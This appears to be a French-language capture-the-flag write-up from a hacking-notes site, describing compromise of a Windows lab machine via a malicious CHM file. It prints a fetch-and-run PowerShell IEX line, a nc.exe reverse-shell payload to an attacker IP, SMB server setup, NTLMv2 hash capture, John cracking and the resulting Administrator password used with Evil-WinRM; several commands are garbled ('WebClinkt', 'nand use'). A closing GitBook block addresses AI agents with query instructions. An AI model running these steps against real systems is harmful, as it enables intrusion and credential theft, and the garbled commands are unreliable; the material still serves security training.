> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md).

# Téléversement de fichier et capture de NTLMv2 .chm

**Exploration du répertoire "docs" :**/ Dans le **Windows** répertoire racine, nous avons trouvé un **docs** dossier contenant un fichier `note.txt` avec le message ci-dessous :

<figure><img src="/files/ba80430a71cbe25a54d4b242252e54a3095128cd" alt=""><figcaption></figcaption></figure>

> Salut Chris,
>
> Vos compétences PHP sont vraiment mauvaises. Contactez Yamitenshi pour qu'ils puissent vous apprendre à l'utiliser, puis corrigez le site car il y a beaucoup de bugs. J'espère aussi que vous avez préparé la documentation pour notre nouvelle application. Placez-la ici lorsque vous avez terminé.
>
> Cordialement,/ Sniper CEO. **Recherche de documentation dans le système :**/ Nous avons recherché la documentation mentionnée par le CEO et l'avons trouvée dans le répertoire **Téléchargements** dans le fichier **instructions.chm**.

<figure><img src="/files/a7d413c8be4e56c1562666c2e036ce67bae75db6" alt="" width="563"><figcaption></figcaption></figure>

### **Création d'un fichier CHM malveillant :**

Après avoir découvert que le CEO voulait examiner des fichiers **CHM** dans le répertoire **docs**, nous avons recherché en ligne comment créer des fichiers CHM malveillants.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Clinkt/Out-CHM.ps1>" %}

**Téléchargement de l'outil HTML Help :**/ Nous avons téléchargé **HTML Help** et utilisé un script PowerShell pour créer un fichier CHM malveillant

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClinkt).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Clinkt/Out-CHM.ps1')

```

Puis, nous avons modifié le script pour exécuter une commande malveillante à distance via **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"

```

<figure><img src="/files/534aa4d81d0ebb9d717e7b452c058e85aec0ffd1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a41a0f3acde7bbc7e746ae45abb5b3dc404a0a03" alt="" width="563"><figcaption></figcaption></figure>

**Injection du fichier CHM malveillant dans le répertoire cible :**/ Nous avons configuré un serveur SMB sur notre machine attaquante pour transférer le fichier malveillant vers la machine Windows cible :

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234

```

**Connexion au partage SMB depuis la machine victime :**/ Depuis la machine Windows cible, nous avons monté le partage SMB et copié le fichier malveillant `doc.chm`:

```powershell
nand use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm

```

**Démarrer un écouteur de reverse shell :**/ Nous avons démarré un écouteur sur notre machine attaquante, en attente d'un reverse shell de connexion :

```bash
rlwrap nc -nlvp 443

```

<figure><img src="/files/6c552c5f42926554ee3c7b4bb768397a08361e8d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/def3ec8b4637644e80b792b8e2e979e3e9a8cd9d" alt="" width="563"><figcaption></figcaption></figure>

**Problème rencontré :**/ Bien que le fichier CHM ait été ouvert, nous n'avons pas reçu de reverse shell. Cependant, nous avons réussi à capturer un **SMB Relay V2** sur notre serveur. Cela nous a fourni un hachage d'authentification pour l'utilisateur `Administrator`

<figure><img src="/files/3f5d51a3d092cc1b7d2f42ef2289dbe2b685f1b1" alt=""><figcaption></figcaption></figure>

#### **Craquage du hachage de l'administrateur :**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`Administrator:butterfly!#1`

<figure><img src="/files/e8acfe82dce4d39f95f8d433dc9597b448e5133a" alt=""><figcaption></figcaption></figure>

#### **Connexion en tant qu'administrateur :**

Avec les identifiants obtenus, nous avons utilisé **Evil-WinRM** pour nous connecter à la machine en tant qu'administrateur :

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'

```

<figure><img src="/files/a98a573191cbb644ec5567ec3cf8e476e673e6e0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.chm-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
